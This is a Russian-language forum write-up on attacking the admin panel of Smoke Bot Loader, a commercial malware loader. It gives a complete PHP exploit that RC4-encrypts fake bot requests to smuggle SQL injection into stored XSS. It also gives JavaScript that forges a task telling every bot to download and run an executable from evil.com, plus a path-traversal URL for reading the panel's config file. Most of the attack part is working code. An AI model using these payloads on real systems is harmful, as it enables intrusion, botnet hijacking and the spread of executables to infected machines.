Добрый день, дамы и господа, сегодня мы будем ломать Smoke Bot Loader. Продукт весьма популярный и на рынке уже достаточно длительное время, и, как мне кажется, от этого будет только интереснее... Структура такая: Затяжка первая. SQL-injection и активная XSS В первую очередь, был изучен гейт. Насколько я понял, автор подразумевал, что раз данные, поступающие в админку от бота, будут зашифрованы с помощью rc4, то можно и опустить некоторые проверки. И зря. После недолгих поисков был найден уязвимый к SQL-инъекции код: Код: //Данные из $bot[BOT_PRIVIL] никак не фильтруются $privs=$bot[BOT_PRIVIL]; // И чуть ниже mysql_query("UPDATE bots SET ip='".$ip."',time='".$time."',seller='".$sel."',privs='".$privs."' WHERE cname='".$login."'");В свою очередь, данные из колонки cname при выводе в админке никак не фильтровались, а это означало, что можно было объединить SQL-инъекцию и XSS. Код эксплоита (2 запроса в гейт и активная XSS уже в панели): Код: <?php function rc4($key, $str) { $s = array(); for ($i = 0; $i < 256; $i++) { $s[$i] = $i; } $j = 0; for ($i = 0; $i < 256; $i++) { $j = ($j + $s[$i] + ord($key[$i % strlen($key)])) % 256; $x = $s[$i]; $s[$i] = $s[$j]; $s[$j] = $x; } $i = 0; $j = 0; $res = ''; for ($y = 0; $y < strlen($str); $y++) { $i = ($i + 1) % 256; $j = ($j + $s[$i]) % 256; $x = $s[$i]; $s[$i] = $s[$j]; $s[$j] = $x; $res .= $str[$y] ^ chr($s[($s[$i] + $s[$j]) % 256]); } return $res; } function send_data($gate_url, $payload){ $opts = array('http' => array( 'method' => 'POST', 'header' => 'Content-type: application/x-www-form-urlencoded', 'content' => $payload ) ); $context = stream_context_create($opts); $result = file_get_contents($gate_url, false, $context); } /*=============================== Config ===============================*/ $gate_url = 'smoke.loc /*=============================== First Request ===============================*/ $key = "1234"; $data[] = "2015"; //bot_magic $data[] = "1234567890345303020340340320333433323453"; // id $data[] = "selle"; // aff id $data[] = "0"; // winver $data[] = "0"; // winbit $data[] = "0"; // privs $data[] = "10001"; // cmd $data[] = "0"; // opt $data[] = "0"; // res $data = implode("#",$data); $data = RC4($key, $data); $payload = $key.$data; send_data($gate_url, $payload); echo "[+] First request done \n"; unset($data); /*=============================== Second Request ===============================*/ $data[] = "2015"; $data[] = "1234567890345303020340340320333433323453"; $data[] = "selle"; $data[] = "0"; $data[] = "0"; // SQL-inject через $bot[BOT_PRIVIL], cname должен быть равен 40 символам! $data[] = "0', cname='<script src=\"//xsssite.com/12\"></script>' where id=1 -- "; $data[] = "10001"; $data[] = "0"; $data[] = "0"; $data = implode("#",$data); $data = RC4($key, $data); $payload = $key.$data; send_data($gate_url, $payload); echo "[+] Second request done \n"; echo "[+] XSS injected! \n";Размещаем на подконтрольном ресурсе файл с именем 12 (можно варьировать длину файла, главное чтобы длина строки, идущей в cname была 40 символов) и содержащий внутри банальный код: Код: alert('xss');И результат: Теперь, попробуем получить хоть-какой то профит. Затяжка вторая. CSRF и угон ботов К сожалению для входа использовалась basic-авторизация, и поэтому просто угнать куки и зайти под админом не получилось бы (XST - редкость, файл с phpinfo и прочие подобные - тоже не всегда получается найти). Поэтому, для того, чтобы получить хоть какой-то профит с найденной нами уязвимости, мы попробуем угнать пачку ботов. Обновим наш файл 12: Код: var link_to_my_exe = "http://evil.com/my.exe"; var http = new XMLHttpRequest(); var params = "geo=ALL&seller=0&limit=0&start=0&bits=0&comment=no_comment&delafter=1&url="+link_to_my_exe; http.open("POST", window.location.pathname+"?page=exe", true); http.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); http.send(encodeURI(params));Теперь, после посещения админом страницы с ботами, в задания добавится новый таск: Боты грузят наш exe, а после его запуска смоке-бот самоудаляется - гениальная комбинация, блестяще проведенная до конца! И все что нужно знать для атаки - это только адрес до гейта. Окурки и пепел К слову, поле comment в разделе tasks тоже уязвимо для XSS. И хотя основная цель уже была достигнута, в коде, который относится к модулям (стилер, формграббер, ддос и т.д.), я все равно успел между делом найти парочку XSS (например, в части относящейся к ddos). Ну а если версия пыха на серваке совсем старая, то можно и конфиг прочитать: Код: http://smoke.com/control.php?act=dwnlog&file=../inc/cfg.phpКод который позволяет это сделать: Код: //control.php if ($act == "dwnlog" && !empty($fileid)) { getlog($fileid.'.txt'); header('Location: '.$referrer); exit; } //funcs.php function getlog($file) { if(file_exists("./data/".$file)) { header("Cache-Control: no-cache"); header("Content-Disposition: attachment; filename=".$file); header("Content-Type: text/plain"); header("Content-Transfer-Encoding: binary"); header("Content-Length: ".filesize("./data/".$file)); readfile("./data/".$file); exit; } else exit; }Но это стоит рассматривать всерьез, только если у вас есть машина времени, и можно вернутся в то золотое время, когда нуллбайт не был редкостью. Final Теперь, еще один продукт стал безопаснее и надежнее. Мне весьма приятно, что получилось поработать с таким продуктом, который, заметьте продается аж с 2011 года. p.s.на момент публикации статьи все баги исправлены © Lebron